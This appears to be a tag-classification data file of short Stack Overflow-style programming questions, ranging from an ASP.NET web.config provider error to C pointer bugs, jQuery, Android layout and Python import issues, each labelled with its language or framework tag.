the entry mysqlprofileprovider has already been added web.config error asp  i have recently added mysql to visual studio and have encountered this error when trying to run pages. i have tried the <code>clear</code> command before after the opening <code>connectionstrings</code> and cant seem to find out what the problem is:    here is my web.config in its currently state:   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;configuration&gt;   &lt;configsections&gt;             &lt;section name= entityframework  type= system.data.entity.internal.configfile.entityframeworksection  entityframework  version=6.0.0.0  culture=neutral  publickeytoken=b77a5c561934e089  requirepermission= false  /&gt;   &lt;/configsections&gt;   &lt;connectionstrings&gt;     &lt;clear/&gt;     &lt;add name= defaultconnection1  connectionstring= data source=(localdb)\mssqllocaldb;attachdbfilename=|datadirectory|\aspnet-computingprojectwh-20170404101246.mdf;initial catalog=aspnet-computingprojectwh-20170404101246;integrated security=true  providername= system.data.sqlclient  /&gt;     &lt;remove name= localmysqlserver  /&gt;     &lt;add name= localmysqlserver  connectionstring=   providername= mysql.data.mysqlclient  /&gt;   &lt;/connectionstrings&gt;   &lt;system.web&gt;     &lt;membership defaultprovider= mysqlmembershipprovider &gt;       &lt;providers&gt;         &lt;clear /&gt;         &lt;remove name= mysqlmembershipprovider  /&gt;         &lt;add name= mysqlmembershipprovider  type= mysql.web.security.mysqlmembershipprovider  mysql.web  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  enablepasswordretrieval= false  enablepasswordreset= true  requiresquestionandanswer= true  applicationname= /  requiresuniqueemail= false  passwordformat= clear  maxinvalidpasswordattempts= 5  minrequiredpasswordlength= 7  minrequirednonalphanumericcharacters= 1  passwordattemptwindow= 10  passwordstrengthregularexpression=   /&gt;         &lt;add name= mysqlmembershipprovider  type= mysql.web.security.mysqlmembershipprovider  mysql.web  version=6.8.3.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  enablepasswordretrieval= false  enablepasswordreset= true  requiresquestionandanswer= true  applicationname= /  requiresuniqueemail= false  passwordformat= clear  maxinvalidpasswordattempts= 5  minrequiredpasswordlength= 7  minrequirednonalphanumericcharacters= 1  passwordattemptwindow= 10  passwordstrengthregularexpression=   /&gt;&lt;/providers&gt;     &lt;/membership&gt;     &lt;profile defaultprovider= mysqlprofileprovider &gt;       &lt;providers&gt;         &lt;clear /&gt;       &lt;remove name= mysqlprofileprovider  /&gt;       &lt;add name= mysqlprofileprovider  type= mysql.web.profile.mysqlprofileprovider  mysql.web  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;       &lt;add name= mysqlprofileprovider  type= mysql.web.profile.mysqlprofileprovider  mysql.web  version=6.8.3.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;&lt;/providers&gt;     &lt;/profile&gt;     &lt;rolemanager defaultprovider= mysqlroleprovider &gt;       &lt;providers&gt;         &lt;clear /&gt;       &lt;remove name= mysqlroleprovider  /&gt;       &lt;add name= mysqlroleprovider  type= mysql.web.security.mysqlroleprovider  mysql.web  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;       &lt;add name= mysqlroleprovider  type= mysql.web.security.mysqlroleprovider  mysql.web  version=6.8.3.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;&lt;/providers&gt;     &lt;/rolemanager&gt;            &lt;sessionstate mode= inproc  customprovider= defaultsessionprovider &gt;       &lt;providers&gt;         &lt;add name= defaultsessionprovider  type= system.web.providers.defaultsessionstateprovider  system.web.providers  version=2.0.0.0  culture=neutral  publickeytoken=31bf3856ad364e35  connectionstringname= defaultconnection  /&gt;       &lt;/providers&gt;     &lt;/sessionstate&gt;   &lt;sitemap defaultprovider= mysqlsitemapprovider &gt;       &lt;providers&gt;         &lt;remove name= mysqlsitemapprovider  /&gt;         &lt;add name= mysqlsitemapprovider  type= mysql.web.sitemap.mysqlsitemapprovider  mysql.web  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;       &lt;/providers&gt;     &lt;/sitemap&gt;&lt;webparts&gt;       &lt;personalization defaultprovider= mysqlpersonalizationprovider &gt;         &lt;providers&gt;           &lt;remove name= mysqlpersonalizationprovider  /&gt;           &lt;add name= mysqlpersonalizationprovider  type= mysql.web.personalization.mysqlpersonalizationprovider  mysql.web  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  connectionstringname= localmysqlserver  applicationname= /  /&gt;         &lt;/providers&gt;       &lt;/personalization&gt;     &lt;/webparts&gt;   &lt;/system.web&gt;   &lt;runtime&gt;     &lt;assemblybinding xmlns= urn:schemas-microsoft-com:asm.v1 &gt;       &lt;dependentassembly&gt;         &lt;assemblyidentity name= entityframework  publickeytoken= b77a5c561934e089  /&gt;         &lt;bindingredirect oldversion= 0.0.0.0-6.0.0.0  newversion= 6.0.0.0  /&gt;       &lt;/dependentassembly&gt;       &lt;dependentassembly&gt;         &lt;assemblyidentity name= mysql.data  publickeytoken= c5687fc88969c44d  culture= neutral  /&gt;         &lt;bindingredirect oldversion= 0.0.0.0-6.8.3.0  newversion= 6.8.3.0  /&gt;       &lt;/dependentassembly&gt;     &lt;/assemblybinding&gt;   &lt;/runtime&gt;   &lt;entityframework&gt;     &lt;defaultconnectionfactory type= system.data.entity.infrastructure.localdbconnectionfactory  entityframework &gt;       &lt;parameters&gt;         &lt;parameter value= mssqllocaldb  /&gt;       &lt;/parameters&gt;     &lt;/defaultconnectionfactory&gt;     &lt;providers&gt;       &lt;provider invariantname= system.data.sqlclient  type= system.data.entity.sqlserver.sqlproviderservices  entityframework.sqlserver  /&gt;     &lt;provider invariantname= mysql.data.mysqlclient  type= mysql.data.mysqlclient.mysqlproviderservices  mysql.data.entity.ef6  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d &gt;&lt;/provider&gt;&lt;/providers&gt;   &lt;/entityframework&gt; &lt;system.data&gt;     &lt;dbproviderfactories&gt;       &lt;remove invariant= mysql.data.mysqlclient  name= mysql data provider  /&gt;       &lt;add name= mysql data provider  invariant= mysql.data.mysqlclient  description= .net framework data provider for mysql  type= mysql.data.mysqlclient.mysqlclientfactory  mysql.data  version=6.9.9.0  culture=neutral  publickeytoken=c5687fc88969c44d  /&gt;     &lt;add name= mysql data provider  invariant= mysql.data.mysqlclient  description= .net framework data provider for mysql  type= mysql.data.mysqlclient.mysqlclientfactory  mysql.data  version=6.8.3.0  culture=neutral  publickeytoken=c5687fc88969c44d  /&gt;&lt;/dbproviderfactories&gt;   &lt;/system.data&gt; &lt;/configuration&gt; </code></pre>   here is the error i am getting:    <pre><code>severity    code    description project file    line    suppression state warning     c:\users\danie\documents\visual studio 2015\projects\computingprojectwh\computingprojectwh\revisionpages\revision pages list.aspx: asp.net runtime error: the entry  mysqlprofileprovider  has already been added. (c:\users\danie\documents\visual studio 2015\projects\computingprojectwh\computingprojectwh\web.config line 43)  computingprojectwh  c:\users\danie\documents\visual studio 2015\projects\computingprojectwh\computingprojectwh\revisionpages\revision pages list.aspx   1    </code></pre>,asp.net
how to creat uitable  uibutton  uilable  uiimage  uitext  uislider  uinavigationbar  uitabbar programiticly   i m new with the iphone programming and i m trying to know how to create all of these (ui s) without using the ib  so i m only asking for the code lines that will create each one of these.,iphone
array of pointers to char check for new string  i have an array of pointers to chars where i store string from the console. how can i check  if a new string is entered to inkrement the index  i thought about something like that but i always get segmentation fault.   <pre><code>char** arr; int i = 0; int j = 0;  arr = malloc(sizeof(char*) * 10);  while (arr[i][j] !=  \n ) {     scanf( %c   &amp;arr[i][j]);     j++; } i++; // read next string here </code></pre>,c
c wait() does work  i was asked to simulate the unix shell in c  and the part of code is following:   <pre><code>    int  pid  argc=0;     should_wait=0;      argc = makeargv(buffer args);      if(argc!=0)     if(strcmp(args[argc-1]  &amp; )==0){             args[argc-1]=null;             should_wait=1;             }      if(argc!=0)     if((pid=fork())==0){             execvp(args[0] &amp;args[0]);             exit(1);     }      if(should_wait){             printf( parent here\n );             wait(null);             printf( child complete\n );     } </code></pre>   the parent process suppose to wait for the child if input arguments following by <code>&amp;</code> for example: parent wait child enter <code>ls &amp;</code>  parent does not wait child enter `ls. however  the output is:    <blockquote>    <br><br> osh>ls &amp;  <br>parent here<br>child complete<br>osh>a.out<br>   argv.c        myshell.c<br>|  </blockquote>,c
how to rename html  browse  button of an input type=file   how to rename the browse button as  <strong>select the file</strong>   e.g.:   <pre><code>&lt;input type=file name=browse &gt; </code></pre>,html
multiple-language support website in asp.net with c#  records are coming form sql server  thanks in advance  i know this is very repeated and very much asked question but i did not get any proper solutions i refer lots of sites for this.    problem: i am developing  and ordering site and that is needed to multiple language support like english  spanish  french  arabic and almost 10 languages are there. how can i manage all the things from css to images  record fetching from database lots of things are there in my mind to set things.     i can use one solution i can create field for each language in table like for description i need to keep filed for english  spanish like this....    what is the best way to use dynamic language translation without any third party tool used.    please tell me solution.    if you not getting my question please ask me.    i need desperate help    thanks in advance,asp.net
object doesn t support method  i m trying to run the following code  but get an error in the gameloop function saying: javascript runtime error: object doesn t support property or method  update .    i m a beginning javascript programmer. can you spot what is wrong with this code    <pre><code>function core(context) {     this.context = context;     this.fps = 500;     this.sprite = new sprite(); }  core.prototype.run = function() {     setinterval(this.gameloop  this.fps); // &lt;&lt;&lt;&lt; problem }  core.prototype.gameloop = function () {     this.update();     this.draw(); }  core.prototype.update = function () {     this.sprite.x += 50;     this.sprite.y += 50; }  core.prototype.draw = function () {     this.context.clearrect(0  0  300  300);     this.context.fillrect(this.sprite.x  this.sprite.y  50  50);     this.context.filltext( x:   + this.sprite.x +   y:   + this.sprite.y  10  250); } </code></pre>,javascript
open sayduck in ios  i want to open sayduck application from my ios application. i know i need to use url scheme register by this application. my problem is that i cant fint this url. do you know how i can check if this url is definded,ios
how to add notification badge on bottom navigation view  <pre><code>&lt;item         android:id= @+id/nav_gallery          app:actionviewclass= android.widget.textview /&gt; </code></pre>   this is the menu of bottom navigation.   <pre><code>   textview gallery=(textview)      menuitemcompat.getactionview(navigationview.getmenu().    finditem(r.id.nav_gallery)); //getting menu item of bottom nav view    gallery.settext( 99+ ); </code></pre>   but this code doesnot work for bottom navigation view.bottomnavigationview is shown without setting any notification counter.,android
maintaining the global scores of a game  i am programming an iphone game and i want to show to the users the game global scores as doodlejump or canabalt do. programming with ios  what is the best way to store the global scores information     thanks for reading.    edited: i am reading about game center leaders board and is a good option to do what i want. anyway  there is another way to do it without using game center,ios
how to prepopulate input text fields with prompting text which disappears on typing (jquery)  when you click on the <code> ask question </code> button on stack overflow  the question title section is prepopulated with light gray text that reads    <pre><code> what s your programming question  be specific  </code></pre>   then when you click inside the title field and start typing  that text disappears.    i want to do the same thing in my app.    is there a trick in jquery to accomplish that      <strong>and  specifically  how do you change the text color from light gray for the placeholder text to the default text color when someone starts typing </strong>,jquery
how to combine the uitabbar and navigationcontroller without using uitabbarcontroller   iam developing on applocation.in that i want to use the uitabbar and navigation controller.because every tab in the tabbar contain the back and save buttons for saving that tab information and coming back.so i want use the both uitabbar and navigationcontroller.please tell me how to use both.,iphone
mysql - count letters  can anyone tell me how to count the letters in a string in mysql     for example:   <pre><code>select numberofletters( abc123 def ) </code></pre>   would return 6    by letter  i mean a-z and a-z.    numberofletters is not valid sql of course  but it illustrates what i am trying to do.    the version of mysql that i m using is 5.5.27,mysql
using igoogle gadgets api with a custom website  is it possible to use google igadget api with my asp.net website or it just can be used to develop gadgets for igoogle portal only      thanks,asp.net
how to append dynamic value to string for comparison   i have a data coming through restapi as follows   <pre><code>{      count : 2           status1 :  ok            graphcode1 :  b            graphdata1 : [{          key :  sports                values : [{              label :  cricket                    value : 7         }   label :  football    value : 4         }]     }]       status2 :  ok        graphcode2 :  l        graphdata2 : [{          key :  age            values : [{              x : 0               y :  24          }  {              x : 1               y :  23          }  {              x : 2               y :  23          }  {              x : 3               y :  27          }  {              x : 4               y :  21          }  {              x : 5               y :  27          }  {              x : 6               y :  25          }  {              x : 7               y :  23          }  {              x : 8               y :  24          }  {              x : 9               y :  23          }]     }] } </code></pre>   i an trying to generate string for compare with response    jquery   <pre><code>$.post( &lt; php echo base_url . php/processing/showgraphsonuserdashboard.php ;  &gt;   {}  function(data) {     // processing for count = 1;      } else if (data.count === 2) {         for (var i = 1; i &lt;= 2; i++) {             var place =  #graph  + i +   svg ;             console.log(place);             console.log(data.status + i);                     if (data.status+i ===  ok ) {                 // processing             } </code></pre>   when i try to console it is shows me the error   nan . means it is not getting the string as status1 subsequently status2.    how to do that,jquery
python can t import object despite being present - importerror: cannot import name methods  python finds <code>client_accounts</code> but can t import methods - why  makes no sense   <pre><code>#settings.py method_list= [] client_accounts = {}  from settings import client_accounts print client_accounts from settings import method_list   {} traceback (most recent call last):   file  /home/ubuntu/workspace/main_loop.py   line 63  in &lt;module&gt;     from settings import method_list importerror: cannot import name method_list </code></pre>   even using this did not work:   <pre><code>from settings import client_accounts  method_list </code></pre>,python
what is correct sequence when release object   i learned a way of releasing a object like this.   <pre><code>nsmutablestring *string1 = [[nsmutablestring alloc]initwithformat:@ abcdef ];  : progress some code.  : string1 = nil; [string1 release]; </code></pre>   question is like below.    string1 = nil;  &lt;= lost string1 pointer by assigning nil.    and then  [string1 release];  &lt;= can send a message to string1 reciever    <ol> <li> string1 = nil;    [string1 release]; </li> <li> [string1 release];    string1 = nil;    what is correct sequence     [additional question..]    is it possible to declare @property of object(nsstring  nsnumner  nsarray...) that is in custom method  </li> </ol>,objective-c
set time interval as per given structure below  table structure may be like this.   <pre><code>s.no  time interval                      no of keys  1     8:00 am - 8:10 am(entry starts)      66  2     8:10 am- 8:20 am                     6  3     8:20 am - 8:30 am                    43  ....  nth   3:50pm - 4:00 pm(last entry for report) </code></pre>   how can i do this using an sql query and i want to use it in asp.net gridview     using the below data  now i am trying to put the number of keys between the start time of workdatetime and last of this workdatetime.    note: time interval is changed  don t worry    i m unable to put the no of keys between the time interval.    i want to show the structure same as above only add one column number of keys with respect to the time interval.   <pre><code>workdatetime    ************    noofkeys 16:52:04    ************    54 16:52:06    ************    0 16:52:07    ************    2 16:52:25    ************    0 16:52:26    ************    0 16:52:35    ************    0 16:52:35    ************    0 16:53:15    ************    0 16:53:55    ************    0 16:54:28    ************    11 16:54:35    ************    0 16:55:15    ************    0 16:55:55    ************    0 16:56:35    ************    0 16:57:15    ************    0 16:57:28    ************    103 16:57:55    ************    0 16:58:35    ************    0 16:58:39    ************    2 16:59:09    ************    19 16:59:15    ************    0 16:59:42    ************    40 16:59:43    ************    2 16:59:55    ************    0 17:00:35    ************    0 17:01:15    ************    0 17:01:35    ************    4 17:01:55    ************    0 17:02:35    ************    0 17:03:15    ************    0 17:03:55    ************    0 17:03:58    ************    2 17:04:24    ************    3 17:04:35    ************     17:05:15    ************    0 17:05:40    ************    0 17:05:46    ************    14 17:05:47    ************    0 17:05:50    ************    2 17:06:30    ************    0 17:06:37    ************    1 17:07:10    ************    0 17:07:50    ************    0 17:08:12    ************    1 17:08:30    ************    0 17:09:10    ************    0 17:09:27    ************    42 17:09:50    ************    0 </code></pre>,sql
launch a python program with it s arguments on cmd and get the output messages python  i would like to launch a python program.exe to test it from another python code i e launch it on the cmd (myprogram.exe -a arg1 -b arg2) and eventually get the error message it can print or any console output     does anyone have an idea how to do this  thanks    edit     actually i launch it with os.popen(command) but what i want is to know if it ended with sys.exit or any exception or if it ended normally    ps:i m running python 2.6 (can t use subprocess.check_output )     thanks,python
c# casting performance implications  when using the  as  keyword in c# to make a cast which fails  null gets returned. what s going on in the background  is it simply suppressing an exception so i don t have to write handling code for a failure     i m interested in the performance characteristics of it compared to a typical cast wrapped in a try-catch.,c#
retrieving last months data when last month is also last year   i have the following where clause in several queries.  this successfully retrieves the past months data.  now the year has changed  the query can t find any data (december 2018 hasn t happened yet!).  how can i change the where clause to overcome this      <pre><code>select * from somedatabase a where datepart(m  a.meetdate) = datepart(m  dateadd(m  -1  getdate()))   and datepart(yyyy  a.meetdate) = datepart(yyyy  getdate()) </code></pre>   many thanks and any assistance very gratefully received.,sql
php populated field returns 0 even if populated  i have a mysql row i get data from by doing this:   <pre><code>...[ immobile  =&gt; $dati_immobile-&gt;row() ]... </code></pre>   i then have a table and i pass every field inside a function  this is the function code:   <pre><code>public function brochurefield($field  $label  $checkbox = false) {     if($field == 0){         return  &lt;tr&gt;&lt;td&gt; .$label.  is zero&lt;/td&gt;&lt;/tr&gt; ;     } } </code></pre>   when i echo this function with a text field taken from the mysql it returns 0:   <pre><code>//this returns  accessori bagno is zero  &lt; = $this-&gt;ui_model-&gt;brochurefield($immobile-&gt;arredo_bagno   accessori bagno )  &gt;  //this returns  termo arredo  (text from db) &lt;tr&gt;&lt;td&gt;&lt; = $immobile-&gt;arredo_bagno  &gt;&lt;/td&gt;&lt;/tr&gt; </code></pre>   it basically reads the field to be <code>0</code> instead of  termo arredo . while if i check the field on <code>$field ==  0 </code> (string) and <code>$field ==   </code> (empty string) the result is false.    the result is true only when i check it against a <code>0</code> (int) value.    the problem happens only on string values  while on int values i get the expected results (<code>brochurefield(32  test )</code> returns correctly the number 32).    i use php <code>7.1.1</code>,php
how do i add add to a javascript object  how to i add to userinfo in my code. i am new to javascript. not sure if i am asking properly    here is the data   <pre><code>    var userinfo = {          a : {             id: 1              vehicle:  car          }           b : {             id: 2              vehicle:  boat          }           c : {             id: 3              vehicle:  plane          }           d : {             id: 4              vehicle:  plane          }           e : {             id: 5              vehicle:  bike      } </code></pre>,javascript
linked list: deleting nodes with chosen data  i have problem with deleting chosen node from my list. the task was to delete all the nodes that include data chosen by user and count them. for example to delete all the nodes that includes 3 and count them. function should return integer with the number of deleted nodes. my code for function pop node and for pop all nodes including specific data is here. i use visual studio 2012 and debugging says some pointers are pointed into space. memory failed to read. what s the problem    <pre><code>void pop(node *  head  node *  pointer) //delete node with given pointer {     node * p = head;     if (pointer == head)     {         head = p-&gt;next;         delete p;     }     else     {         while( p-&gt;next != pointer )         {             p = p-&gt;next;         }         p-&gt;next = pointer-&gt;next;         delete pointer;     } }  int pop_all(node *  head  float data_out) //delete all nodes with proper data {   node * p = head;   int counter = 0;   while(p-&gt;next != null)   {     if (p-&gt;data == data_out)     {         pop(head p);         counter++;       }     else     {         p = p-&gt;next;     }    }    return counter; } </code></pre>,c++
android - buttons hidden by the android interface  it displays well on the preview however when i run  the last button is hidden by the interface. how can i solve this problem     <strong>edit:</strong> now that i think about it i think it s the titlebar size. how can i solve this     <a href= https://i.stack.imgur.com/8skrx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/8skrx.png  alt= enter image description here ></a>    xml code:   <pre><code>&lt;framelayout xmlns:android= http://schemas.android.com/apk/res/android  xmlns:tools= http://schemas.android.com/tools  android:layout_width= match_parent  android:layout_height= match_parent  xmlns:app= http://schemas.android.com/apk/res-auto  tools:context= com.example.tiagosilva.amob_android.contactusfragment  android:background= @color/amob_gray &gt;   &lt;linearlayout     android:layout_width= match_parent      android:layout_height= match_parent      android:orientation= vertical      android:padding= 20dp      android:weightsum= 3 &gt;      &lt;textview         android:id= @+id/textview2          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= amob headquarters          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white          android:textstyle= bold  /&gt;      &lt;textview         android:id= @+id/textview3          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= rua padre domingos joaquim pereira 1249          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;      &lt;textview         android:id= @+id/textview4          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= 4760-563 louro          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white          android:background= @color/amob_gray /&gt;      &lt;textview         android:id= @+id/textview5          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= vila nova de famalicão  portugal          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;      &lt;textview         android:id= @+id/textview7          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= phone: (+351) 252 330 900          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;      &lt;textview         android:id= @+id/textview8          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= fax: (+351) 252 376 887          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;      &lt;textview         android:id= @+id/textview9          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= e-mail: comercial@amob.pt          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;      &lt;textview         android:id= @+id/textview6          android:layout_width= match_parent          android:layout_height= wrap_content          android:fontfamily= serif          android:text= gps: 41º 26 .16  n / 8º32 31.89  w          android:textappearance= @style/textappearance.appcompat          android:textcolor= @android:color/white  /&gt;       &lt;imageview         android:layout_width= match_parent          android:layout_height= wrap_content          android:src= @drawable/gps_amob          android:id= @+id/gps_map          android:layout_weight= 3          android:layout_margintop= 10dp          android:scaletype= fitxy /&gt;      &lt;button         android:layout_height= wrap_content          android:layout_width= match_parent          android:id= @+id/btn_emailus          android:background= @drawable/round_buttons          android:layout_margintop= 10dp          android:text= email us &gt;     &lt;/button&gt;      &lt;button         android:layout_height= wrap_content          android:layout_width= match_parent          android:id= @+id/btn_callus          android:background= @drawable/round_buttons_green          android:layout_margintop= 10dp          android:text= call us &gt;     &lt;/button&gt;  &lt;/linearlayout&gt; </code></pre>,android
deleting an app from another app in ios  i have an app live on app store. due to some reasons i am about to push new app on app store  and want to uninstall old app from new app. is there any way to uninstall/delete an ios app from user s iphone.,ios
rails new  -t  option  does it create an app without tests   i am following this <a href= http://apionrails.icalialabs.com/book/chapter_one  rel= nofollow >tutorial</a>. in listing 1.1  it states:   <blockquote>    be aware that we’ll be using rspec as the testing suite  so just make sure you include the -t option when creating the rails application.  </blockquote>   what does the <code>-t</code> option do in this case,ruby-on-rails
python: how to get multiple values from user   i am making a word chain game in python but i am stuck at one place. the thing i wanted to do is   <pre><code>the game begins by asking how many people wish to play  and then prompting you to enter a name for each of the players. </code></pre>   for this  i have created a code   <pre><code>def inputword():     players = str(input( enter number of players: ))     name = []     wordchain = 0     ls = list()     playernames = {}     for i in range(0  int(players)):         name = input( enter player name: )         playernames = ls.append(name)         print(playernames)     print(playernames)    inputword()  the output that i am getting is  enter number of players:2 enter player name:david none enter player name:martin none none </code></pre>   instead  i need this   <pre><code>enter number of players:2 enter player name:david david enter player name:martin martin [david  martin] #list of the names for later use </code></pre>   i am new to python please help me.,python
different printout length for address  i have the following two print out. it s running on the same machine  i don t know why the length of address print out are different here.     printout command:   <pre><code>   fprintf(stderr   prepare  size: %d  offset: %d  addr: %p\n   buf_sz  offset  buf); </code></pre>   output:    <pre><code>prepare  size: 16384  offset: 5799936  addr: 0x614000 </code></pre>   the other printout command:    <pre><code>fprintf(stderr   offset: %d  size: %d  base: %p\n   l_offset[i]  size  base); </code></pre>   output:    <pre><code>offset: 5799936  size: 16384  base: 0x2b2b95fc6000 </code></pre>   i have one question about the print out for buf and base here. why the length is different for those two  i thought they should have the same length  but different values to represent address.     please let me know if you need more info.,c
multiple scanf from a single input  i am trying to prompt the user for a number  and then extract the number they entered and also sum the digits of the number they entered.  they can only enter the number once.  my code is below:   <pre><code>    printf( \npart 2: expressions sum\n\n );     printf( enter 5-digit integer:  );     scanf( \n%1d%1d%1d%1d%1d   &amp;dig_one  &amp;dig_two  &amp;dig_three  &amp;dig_four  &amp;dig_five);     scanf( \n%d   &amp;five_dig_int) </code></pre>   however after the first scanf completes  the program gets hung on the second scanf waiting for more input.  is there a way to  re scan  so to speak on the initial input so the user does not have to enter the number again   thanks! ;,c
circular type initializers  i m designing a domain-specific cli  and for the last couple weeks i ve been investigating various corner cases to make sure i have a firm understanding of what s required.    right now i m looking into type construction.  i m considering the following scenario  which i can t find much information on:   <pre><code>class c {     public static int field = d.field; }  class d {     public static int field = c.field; }  class testprog {     static void main()     {         console.writeline( d.field );     } } </code></pre>   both of the classes are marked <code>beforefieldinit</code>.    interestingly  this program actually compiles  and runs on the msclr  yielding:   <pre><code>0 </code></pre>   so it seems what s happening <em>in practice</em> is that the trigger point in <code>c..cctor</code> to construct <code>d</code> is ignored because <code>d</code> s construction has already <em>started</em>.  however  to me  this program looks invalid  in the sense that <code>c..cctor</code> is using something <em>before it is fully constructed</em>.    many will point out that the above scenario is pointless  but it is a concern to me as an implementor of the cli because i need to know <em>how much latitude i have with regard to  circular-references in type initializers</em>.    all i can find in ecma-335 about this is:   <blockquote>    if marked beforefieldinit then the type’s initializer method is executed at  or sometime before  first access to any static field defined for that type.  </blockquote>   the words  executed at  leave some ambiguity in this case because they don t specify whether the entire initializer has to execute or whether execution has to simply begin.    i ran into a comment alluding to specific rules in the cli specs about the circular reference case  but so far i have not been able to find any mention of the issue at all in ecma-335.    so  my questions are:   <ul> <li> is the above program relying on <em>undefined behaviour</em>   or <em>unspecified behaviour</em>  </li> <li> if my clr refused to load the above program  would it still be compliant  </li> <li> if not  what <em>are</em> the exact rules about circular references in type constructors  </li> <li> are there any <em>valid  useful</em> design patterns that could lead to cycles in the directed graph of a program s type initializers <em>when flow control is discounted</em>  </li> </ul>,.net
simple stuff for c programmers  to which of the following is    <pre><code>myfunc( int x ) </code></pre>   equivalent to    <pre><code>a) myfunc( int *x ); b) myfunc( int x[] ); c) myfunc( int x[10] ); </code></pre>   please explain your answer..,c
dereferencing a pointer to a null pointer   i m trying to build a robust linkedlist in c  and one of the issues i am dealing with is initialization.    <code>struct node* list = malloc(sizeof(node))</code>    is an obvious way to initialize the llist  but it initializes the <code>head</code> element s <code>value</code> to 0  which is not exactly what i want.  a newly initialized llist should not have any nodes in it.  instead  i d like to do something like this:   <pre><code>struct node* list = null; </code></pre>   to create a llist  and then add elements with:   <pre><code>add(&amp;list  1); add(&amp;list  2); </code></pre>   that would basically dereference <code>&amp;list</code>  test to see if it is <code>null</code>  and if so do x otherwise do y.  however  obviously i am seg faulting  and am wondering if it is because i am dereferencing a pointer to a null pointer     <strong>add()</strong>   <pre><code>  8 void add(struct node** headref  int value) {   9   struct node* node = *headref;  10   struct node* new_node = malloc(sizeof(*new_node));  11   12   new_node-&gt;value = value;  13   new_node-&gt;next = null;  14   15   if (node == null) {  16     node = malloc(sizeof(node));  17     node = new_node;  18   } else {  19   20     while (node-&gt;next != null) {  21       node = node-&gt;next;  22     }  23   24     node-&gt;next = new_node;  25   }  26 } </code></pre>   thanks,c
ruby -- trying to grab <title>this here</title> even if on multiple lines  currently  i am grabbing titles using the following method:   <pre><code>title = html_response[/&lt;title[^&gt;]*&gt;(.* )&lt;\/title&gt;/ 1] </code></pre>   this does a great job at catching  this is a title  from this is a title. however  there are some web pages that open the title tag on one line  print the title on the next line  and then close the title tag.     the ruby line i presented above doesn t catch titles such as those  so i m just trying to find a fix for that.    any help would be greatly appreciated.,ruby-on-rails
how do i add a uiview on top of a mkannotationview and then display it on a mkmapview   my goal is to have custom pins on a <code>mkmapview</code>. i have a <code>uiview</code> with a label on it and i d like to use it for the custom pins. i ve implemented the <code>viewforannotation</code> method to display my <code>uiview</code> on the map.   <pre><code>func mapview(mapview: mkmapview  viewforannotation annotation: mkannotation) -&gt; mkannotationview  {     if annotation is mkuserlocation {         return mapview.dequeuereusableannotationviewwithidentifier(  )     } else {         let annotationview = mkannotationview()         annotationview.canshowcallout = false         annotationview.addsubview(myview) // myview is the regular uiview         return annotationview     } } </code></pre>   the pins are now displayed  but they re placed randomly on the map. i think this is because i have to create a <code>mkannotation</code> and assign coordinates to it. how do i add a <code>uiview</code> to a <code>mkannotationview</code> and then display it on a <code>mkmapview</code>,ios
retain console application window even when user clicks the background  i have created a console application in c#.and i managed to disable the close button of the console window.and it works.i am curious to know  is there any way to retain the console window even when the user clicks background as done in forms application by show dialogue. thanks in advance,c#
get hints of reserved words in a working idle console   help() function helps a lot to save brain s memories during coding.   <pre><code>&gt;&gt;&gt; help(list) help on class list in module builtins: class list(object)  |  list() -&gt; new empty list  |  list(iterable) -&gt; new list initialized from iterable s items &gt;&gt;&gt; dir(zip) [ __class__    __delattr__    __dir__    __doc__    __eq__    __format__    __ge__    __getattribute__    __gt__    __hash__    __init__    __init_subclass__    __iter__    __le__    __lt__    __ne__    __new__    __next__    __reduce__    __reduce_ex__    __repr__    __setattr__    __sizeof__    __str__    __subclasshook__ ] </code></pre>   i can retrieve information about sequence  functions and classes.    however   <pre><code> &gt;&gt;&gt; help(assert)   file  &lt;stdin&gt;   line 1     help(assert)               ^ syntaxerror: invalid syntax </code></pre>   can i get hints of reserve words like  assert  within idie window,python
need assistance to: write a small program that will turn on the computer and executes a specified program.  i need to write a small program  to set a timer that turns on system  and run a program.<br> i know how to run a program  but the problem is how to turn on system and windows,c#
jquery not working in safari  hi could anybody work out why this would not work in safari  its taken from code by yi jiang. many thanks   <pre><code>&lt;div id= profile-list &gt;&lt;/div&gt;   &lt;script&gt;    var classes = [ email-checkout    absc    random    brrrr ];     for (var i = 0; i &lt; 6000; i++) {     $( &lt;input /&gt; ).attr({      type:  checkbox        class: classes[math.floor(math.random() * classes.length)]       checked: (math.random() &gt; .5)     }).appendto( #profile-list );    }   &lt;/script&gt;  </code></pre>,jquery
